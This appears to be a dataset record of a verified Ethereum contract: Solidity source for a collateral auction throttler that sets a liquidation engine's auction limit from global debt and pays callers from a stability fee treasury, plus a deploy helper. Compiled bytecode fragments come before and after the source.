61112c6000830184610fdc565b92915050565b60006020820190506111476000830184610feb565b92915050565b600081519050919050565b600082825260208201905092915050565b600061117482611231565b915061117f83611231565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111b4576111b36112ad565b5b828201905092915050565b60006111ca82611231565b91506111d583611231565b9250828210156111e8576111e76112ad565b5b828203905092915050565b60006111fe82611211565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000600282049050600182168061129357607f821691505b602082108114156112a7576112a66112dc565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611325816111f3565b811461133057600080fd5b50565b61133c81611231565b811461134757600080fd5b5056fea26469706673582212202adc8ae30249e47541966a284c99c39c1a6fa68a6b320a891167b9d4c923c00a64736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 6,338 |
0x221cb564b899bc172c1d784daa2ca490d41c8a3a
|
/**
*Submitted for verification at Etherscan.io on 2021-04-06
*/
pragma solidity 0.6.7;
abstract contract LiquidationEngineLike {
function addAuthorization(address) external virtual;
function currentOnAuctionSystemCoins() virtual public view returns (uint256);
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual external view returns (uint, uint);
function systemCoin() virtual external view returns (address);
function pullFunds(address, address, uint) virtual external;
function setTotalAllowance(address, uint256) external virtual;
function setPerBlockAllowance(address, uint256) external virtual;
}
abstract contract SAFEEngineLike {
function globalDebt() virtual public view returns (uint256);
function globalUnbackedDebt() virtual public view returns (uint256);
function coinBalance(address) virtual public view returns (uint256);
}
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
contract IncreasingTreasuryReimbursement is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized");
_;
}
// --- Variables ---
// Starting reward for the fee receiver/keeper
uint256 public baseUpdateCallerReward; // [wad]
// Max possible reward for the fee receiver/keeper
uint256 public maxUpdateCallerReward; // [wad]
// Max delay taken into consideration when calculating the adjusted reward
uint256 public maxRewardIncreaseDelay; // [seconds]
// Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called)
uint256 public perSecondCallerRewardIncrease; // [ray]
// SF treasury
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount);
constructor(
address treasury_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public {
if (address(treasury_) != address(0)) {
require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set");
}
require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward");
require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase");
authorizedAccounts[msg.sender] = 1;
treasury = StabilityFeeTreasuryLike(treasury_);
baseUpdateCallerReward = baseUpdateCallerReward_;
maxUpdateCallerReward = maxUpdateCallerReward_;
perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_;
maxRewardIncreaseDelay = uint(-1);
emit AddAuthorization(msg.sender);
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease);
}
// --- Boolean Logic ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Treasury ---
/**
* @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances
**/
function treasuryAllowance() public view returns (uint256) {
(uint total, uint perBlock) = treasury.getAllowance(address(this));
return minimum(total, perBlock);
}
/*
* @notice Get the SF reward that can be sent to a function caller right now
* @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated
* @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers
*/
function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {
// If the rewards are null or if the time of the last update is in the future or present, return 0
bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);
if (either(timeOfLastUpdate >= now, nullRewards)) return 0;
// If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0
uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);
if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {
return 0;
}
// If too much time elapsed, return the max reward
uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);
uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);
if (adjustedTime > maxRewardIncreaseDelay) {
return maxPossibleReward;
}
// Calculate the reward
uint256 calculatedReward = baseUpdateCallerReward;
if (adjustedTime > 0) {
calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);
}
// If the reward is higher than max, set it to max
if (calculatedReward > maxPossibleReward) {
calculatedReward = maxPossibleReward;
}
return calculatedReward;
}
/**
* @notice Send a stability fee reward to an address
* @param proposedFeeReceiver The SF receiver
* @param reward The system coin amount to send
**/
function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {
// If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return
if (address(treasury) == proposedFeeReceiver) return;
if (either(address(treasury) == address(0), reward == 0)) return;
// Determine the actual receiver and send funds
address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;
try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}
catch(bytes memory revertReason) {
emit FailRewardCaller(revertReason, finalFeeReceiver, reward);
}
}
}
contract CollateralAuctionThrottler is IncreasingTreasuryReimbursement {
// --- Variables ---
// Minimum delay between consecutive updates
uint256 public updateDelay; // [seconds]
// Delay since the last update time after which backupLimitRecompute can be called
uint256 public backupUpdateDelay; // [seconds]
// Percentage of global debt taken into account in order to set LiquidationEngine.onAuctionSystemCoinLimit
uint256 public globalDebtPercentage; // [hundred]
// The minimum auction limit
uint256 public minAuctionLimit; // [rad]
// Last timestamp when the onAuctionSystemCoinLimit was updated
uint256 public lastUpdateTime; // [unix timestamp]
LiquidationEngineLike public liquidationEngine;
SAFEEngineLike public safeEngine;
// List of surplus holders
address[] public surplusHolders;
constructor(
address safeEngine_,
address liquidationEngine_,
address treasury_,
uint256 updateDelay_,
uint256 backupUpdateDelay_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 globalDebtPercentage_,
address[] memory surplusHolders_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {
require(safeEngine_ != address(0), "CollateralAuctionThrottler/null-safe-engine");
require(liquidationEngine_ != address(0), "CollateralAuctionThrottler/null-liquidation-engine");
require(updateDelay_ > 0, "CollateralAuctionThrottler/null-update-delay");
require(backupUpdateDelay_ > updateDelay_, "CollateralAuctionThrottler/invalid-backup-update-delay");
require(both(globalDebtPercentage_ > 0, globalDebtPercentage_ <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
require(surplusHolders_.length <= HOLDERS_ARRAY_LIMIT, "CollateralAuctionThrottler/invalid-holder-array-length");
safeEngine = SAFEEngineLike(safeEngine_);
liquidationEngine = LiquidationEngineLike(liquidationEngine_);
updateDelay = updateDelay_;
backupUpdateDelay = backupUpdateDelay_;
globalDebtPercentage = globalDebtPercentage_;
surplusHolders = surplusHolders_;
emit ModifyParameters(bytes32("updateDelay"), updateDelay);
emit ModifyParameters(bytes32("globalDebtPercentage"), globalDebtPercentage);
emit ModifyParameters(bytes32("backupUpdateDelay"), backupUpdateDelay);
}
// --- Math ---
uint256 internal constant ONE = 1;
uint256 internal constant HOLDERS_ARRAY_LIMIT = 10;
uint256 internal constant HUNDRED = 100;
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Administration ---
/*
* @notify Modify a uint256 parameter
* @param parameter The name of the parameter to modify
* @param data The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "baseUpdateCallerReward") {
require(data <= maxUpdateCallerReward, "CollateralAuctionThrottler/invalid-min-reward");
baseUpdateCallerReward = data;
}
else if (parameter == "maxUpdateCallerReward") {
require(data >= baseUpdateCallerReward, "CollateralAuctionThrottler/invalid-max-reward");
maxUpdateCallerReward = data;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(data >= RAY, "CollateralAuctionThrottler/invalid-reward-increase");
perSecondCallerRewardIncrease = data;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(data > 0, "CollateralAuctionThrottler/invalid-max-increase-delay");
maxRewardIncreaseDelay = data;
}
else if (parameter == "updateDelay") {
require(data > 0, "CollateralAuctionThrottler/null-update-delay");
updateDelay = data;
}
else if (parameter == "backupUpdateDelay") {
require(data > updateDelay, "CollateralAuctionThrottler/invalid-backup-update-delay");
backupUpdateDelay = data;
}
else if (parameter == "globalDebtPercentage") {
require(both(data > 0, data <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
globalDebtPercentage = data;
}
else if (parameter == "minAuctionLimit") {
minAuctionLimit = data;
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/*
* @notify Modify the address of a contract param
* @param parameter The name of the parameter to change the address for
* @param addr The new address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "CollateralAuctionThrottler/null-addr");
if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "CollateralAuctionThrottler/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "liquidationEngine") {
liquidationEngine = LiquidationEngineLike(addr);
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Recompute Logic ---
/*
* @notify Recompute and set the new onAuctionSystemCoinLimit
* @param feeReceiver The address that will receive the reward for recomputing the onAuctionSystemCoinLimit
*/
function recomputeOnAuctionSystemCoinLimit(address feeReceiver) public {
// Check delay between calls
require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "CollateralAuctionThrottler/wait-more");
// Get the caller's reward
uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay);
// Store the timestamp of the update
lastUpdateTime = now;
// Compute total surplus
uint256 totalSurplus;
for (uint i = 0; i < surplusHolders.length; i++) {
totalSurplus = addition(totalSurplus, safeEngine.coinBalance(surplusHolders[i]));
}
// Remove surplus from global debt
uint256 rawGlobalDebt = subtract(safeEngine.globalDebt(), totalSurplus);
rawGlobalDebt = subtract(rawGlobalDebt, safeEngine.globalUnbackedDebt());
// Calculate and set the onAuctionSystemCoinLimit
uint256 newAuctionLimit = multiply(rawGlobalDebt / HUNDRED, globalDebtPercentage);
uint256 currentOnAuctionSystemCoins = liquidationEngine.currentOnAuctionSystemCoins();
newAuctionLimit = (newAuctionLimit <= minAuctionLimit) ? minAuctionLimit : newAuctionLimit;
newAuctionLimit = (newAuctionLimit == 0) ? uint(-1) : newAuctionLimit;
newAuctionLimit = (newAuctionLimit < currentOnAuctionSystemCoins) ? currentOnAuctionSystemCoins : newAuctionLimit;
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", newAuctionLimit);
// Pay the caller for updating the rate
rewardCaller(feeReceiver, callerReward);
}
/*
* @notify Backup function for recomputing the onAuctionSystemCoinLimit in case of a severe delay since the last update
*/
function backupRecomputeOnAuctionSystemCoinLimit() public {
// Check delay between calls
require(both(subtract(now, lastUpdateTime) >= backupUpdateDelay, lastUpdateTime > 0), "CollateralAuctionThrottler/wait-more");
// Store the timestamp of the update
lastUpdateTime = now;
// Set the onAuctionSystemCoinLimit
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", uint(-1));
}
}
contract DeployCollateralAuctionThottler {
// --- Variables ---
uint256 public constant RAY = 10**27;
uint256 public constant RAD = 10**45;
function execute(
address _safeEngine,
address _liquidationEngine,
address _treasury
) public returns (address) {
// Define params
uint256 updateDelay = 1 weeks;
uint256 backupUpdateDelay = 8 days;
uint256 maxRewardIncreaseDelay = 3 hours;
uint256 baseUpdateCallerReward = 0;
uint256 maxUpdateCallerReward = 10 ether;
uint256 perSecondCallerRewardIncrease = RAY;
uint256 globalDebtPercentage = 20;
uint256 minAuctionLimit = 500000 * RAD;
address[] memory surplusHolders;
// deploy the throttler
CollateralAuctionThrottler throttler = new CollateralAuctionThrottler(
_safeEngine,
_liquidationEngine,
_treasury,
updateDelay,
backupUpdateDelay,
baseUpdateCallerReward,
maxUpdateCallerReward,
perSecondCallerRewardIncrease,
globalDebtPercentage,
surplusHolders
);
// setting params
throttler.modifyParameters("maxRewardIncreaseDelay", maxRewardIncreaseDelay);
throttler.modifyParameters("minAuctionLimit", minAuctionLimit);
// setting allowances in the SF treasury
StabilityFeeTreasuryLike(_treasury).setPerBlockAllowance(address(throttler), maxUpdateCallerReward * RAY);
StabilityFeeTreasuryLike(_treasury).setTotalAllowance(address(throttler), uint(-1));
// auth throttler in LiquidationEngine
LiquidationEngineLike(_liquidationEngine).addAuthorization(address(throttler));
return address(throttler);
}
}
|
0x60806040523480156200001157600080fd5b5060043610620000465760003560e01c806306f405fd146200004b578063552033c4146200006b578063e65add95146200008b575b600080fd5b6200005562000152565b6040518082815260200191505060405180910390f35b6200007562000169565b6040518082815260200191505060405180910390f35b6200011060048036036060811015620000a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505062000179565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b722cd76fe086b93ce2f768a00b22a0000000000081565b6b033b2e3c9fd0803ce800000081565b60008062093a8090506000620a8c0090506000612a30905060008090506000678ac7230489e80000905060006b033b2e3c9fd0803ce800000090506000601490506000722cd76fe086b93ce2f768a00b22a000000000006207a120029050606060008d8d8d8c8c8b8b8b8b8a604051620001f3906200066a565b808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187815260200186815260200185815260200184815260200183815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015620002ef578082015181840152602081019050620002d2565b505050509050019b505050505050505050505050604051809103906000f08015801562000320573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff1663fe4f5890896040518263ffffffff1660e01b815260040180807f6d6178526577617264496e63726561736544656c617900000000000000000000815250602001828152602001915050600060405180830381600087803b1580156200039f57600080fd5b505af1158015620003b4573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff1663fe4f5890846040518263ffffffff1660e01b815260040180807f6d696e41756374696f6e4c696d69740000000000000000000000000000000000815250602001828152602001915050600060405180830381600087803b1580156200043457600080fd5b505af115801562000449573d6000803e3d6000fd5b505050508b73ffffffffffffffffffffffffffffffffffffffff16633d285a6f826b033b2e3c9fd0803ce800000089026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015620004e357600080fd5b505af1158015620004f8573d6000803e3d6000fd5b505050508b73ffffffffffffffffffffffffffffffffffffffff166343e9c6b0827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015620005a457600080fd5b505af1158015620005b9573d6000803e3d6000fd5b505050508c73ffffffffffffffffffffffffffffffffffffffff166335b28153826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156200063d57600080fd5b505af115801562000652573d6000803e3d6000fd5b50505050809a50505050505050505050509392505050565b61360180620006798339019056fe60806040523480156200001157600080fd5b50604051620036013803806200360183398181016040526101408110156200003857600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080516040519392919084640100000000821115620000b357600080fd5b83820191506020820185811115620000ca57600080fd5b8251866020820283011164010000000082111715620000e857600080fd5b8083526020830192505050908051906020019060200280838360005b838110156200012157808201518184015260208101905062000104565b5050505090500160405250505087858585600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146200027357600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c657600080fd5b505afa158015620001db573d6000803e3d6000fd5b505050506040513d6020811015620001f257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16141562000272576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180620035676035913960400191505060405180910390fd5b5b82821015620002ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180620035c86039913960400191505060405180910390fd5b6b033b2e3c9fd0803ce800000081101562000335576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526042815260200180620034236042913960600191505060405180910390fd5b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260018190555081600281905550806004819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6003819055507f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f700010233604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a17fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d18460405180807f74726561737572790000000000000000000000000000000000000000000000008152506020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a17fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a60015460405180807f6261736555706461746543616c6c65725265776172640000000000000000000081525060200182815260200191505060405180910390a17fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a60025460405180807f6d617855706461746543616c6c6572526577617264000000000000000000000081525060200182815260200191505060405180910390a17fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a60045460405180807f7065725365636f6e6443616c6c6572526577617264496e63726561736500000081525060200182815260200191505060405180910390a150505050600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141562000693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018062003465602b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156200071b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180620035356032913960400191505060405180910390fd5b6000871162000776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806200359c602c913960400191505060405180910390fd5b868611620007d0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180620034906036913960400191505060405180910390fd5b620007e960008311606484111562000a8060201b60201c565b62000840576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180620034fc6039913960400191505060405180910390fd5b600a815111156200089d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180620034c66036913960400191505060405180910390fd5b89600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555088600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555086600681905550856007819055508160088190555080600d90805190602001906200094c92919062000a8d565b507fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a7f75706461746544656c6179000000000000000000000000000000000000000000600654604051808381526020018281526020019250505060405180910390a17fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a7f676c6f62616c4465627450657263656e74616765000000000000000000000000600854604051808381526020018281526020019250505060405180910390a17fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a7f6261636b757055706461746544656c6179000000000000000000000000000000600754604051808381526020018281526020019250505060405180910390a15050505050505050505062000b62565b6000818316905092915050565b82805482825590600052602060002090810192821562000b09579160200282015b8281111562000b085782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000aae565b5b50905062000b18919062000b1c565b5090565b62000b5f91905b8082111562000b5b57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555060010162000b23565b5090565b90565b6128b18062000b726000396000f3fe608060405234801561001057600080fd5b50600436106102115760003560e01c806361d027b311610125578063b11911c5116100ad578063dd2d2a121161007c578063dd2d2a121461087a578063f238ffd2146108c6578063f752fdc314610912578063fc1a8eda1461095e578063fe4f5890146109cc57610211565b8063b11911c5146107ca578063c8f33c91146107e8578063d23cb78514610806578063d6e882dc1461082457610211565b80636a146024116100f45780636a146024146106f4578063911e8a571461071257806394f3f81d1461071c578063a087163714610760578063ab422801146107ac57610211565b806361d027b3146105f45780636614f0101461063e57806367aea3131461068c57806369dec276146106d657610211565b806336b8b425116101a857806344bf3c721161017757806344bf3c72146104e057806346f3e81c1461052a57806354f363a31461056c578063552033c4146105b8578063554f94db146105d657610211565b806336b8b425146103e65780633c8bb3e61461042a5780633ef5e4451461047657806343943b6b146104c257610211565b80632009e568116101e45780632009e5681461030e57806324ba58841461032c5780633425677e1461038457806335b28153146103a257610211565b8063056640b7146102165780631021344714610262578063165c4a16146102a45780631c1f908c146102f0575b600080fd5b61024c6004803603604081101561022c57600080fd5b810190808035906020019092919080359060200190929190505050610a04565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561027857600080fd5b8101908080359060200190929190505050610a2d565b6040518082815260200191505060405180910390f35b6102da600480360360408110156102ba57600080fd5b810190808035906020019092919080359060200190929190505050610a44565b6040518082815260200191505060405180910390f35b6102f8610ad9565b6040518082815260200191505060405180910390f35b610316610adf565b6040518082815260200191505060405180910390f35b61036e6004803603602081101561034257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae5565b6040518082815260200191505060405180910390f35b61038c610afd565b6040518082815260200191505060405180910390f35b6103e4600480360360208110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bfa565b005b610428600480360360208110156103fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3b565b005b6104606004803603604081101561044057600080fd5b810190808035906020019092919080359060200190929190505050611246565b6040518082815260200191505060405180910390f35b6104ac6004803603604081101561048c57600080fd5b81019080803590602001909291908035906020019092919050505061126b565b6040518082815260200191505060405180910390f35b6104ca6112ee565b6040518082815260200191505060405180910390f35b6104e86112f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105566004803603602081101561054057600080fd5b810190808035906020019092919050505061131a565b6040518082815260200191505060405180910390f35b6105a26004803603604081101561058257600080fd5b810190808035906020019092919080359060200190929190505050611339565b6040518082815260200191505060405180910390f35b6105c06113bc565b6040518082815260200191505060405180910390f35b6105de6113cc565b6040518082815260200191505060405180910390f35b6105fc6113d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068a6004803603604081101561065457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f8565b005b6106946117b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106de6117de565b6040518082815260200191505060405180910390f35b6106fc6117e4565b6040518082815260200191505060405180910390f35b61071a6117f0565b005b61075e6004803603602081101561073257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611942565b005b6107966004803603604081101561077657600080fd5b810190808035906020019092919080359060200190929190505050611a83565b6040518082815260200191505060405180910390f35b6107b4611aac565b6040518082815260200191505060405180910390f35b6107d2611ab2565b6040518082815260200191505060405180910390f35b6107f0611ab8565b6040518082815260200191505060405180910390f35b61080e611abe565b6040518082815260200191505060405180910390f35b6108646004803603606081101561083a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611ac4565b6040518082815260200191505060405180910390f35b6108b06004803603604081101561089057600080fd5b810190808035906020019092919080359060200190929190505050611b8a565b6040518082815260200191505060405180910390f35b6108fc600480360360408110156108dc57600080fd5b810190808035906020019092919080359060200190929190505050611ba4565b6040518082815260200191505060405180910390f35b6109486004803603604081101561092857600080fd5b810190808035906020019092919080359060200190929190505050611cb6565b6040518082815260200191505060405180910390f35b61098a6004803603602081101561097457600080fd5b8101908080359060200190929190505050611cdb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a02600480360360408110156109e257600080fd5b810190808035906020019092919080359060200190929190505050611d17565b005b60006b033b2e3c9fd0803ce8000000610a1d8484610a44565b81610a2457fe5b04905092915050565b6000610a3d82633b9aca00610a44565b9050919050565b600080821480610a615750828283850292508281610a5e57fe5b04145b610ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75696e742d75696e742d6d756c2d6f766572666c6f770000000000000000000081525060200191505060405180910390fd5b92915050565b60015481565b60035481565b60006020528060005260406000206000915090505481565b6000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb5a662e306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050604080518083038186803b158015610ba057600080fd5b505afa158015610bb4573d6000803e3d6000fd5b505050506040513d6040811015610bca57600080fd5b81019080805190602001909291908051906020019092919050505091509150610bf38282611b8a565b9250505090565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806128466036913960400191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff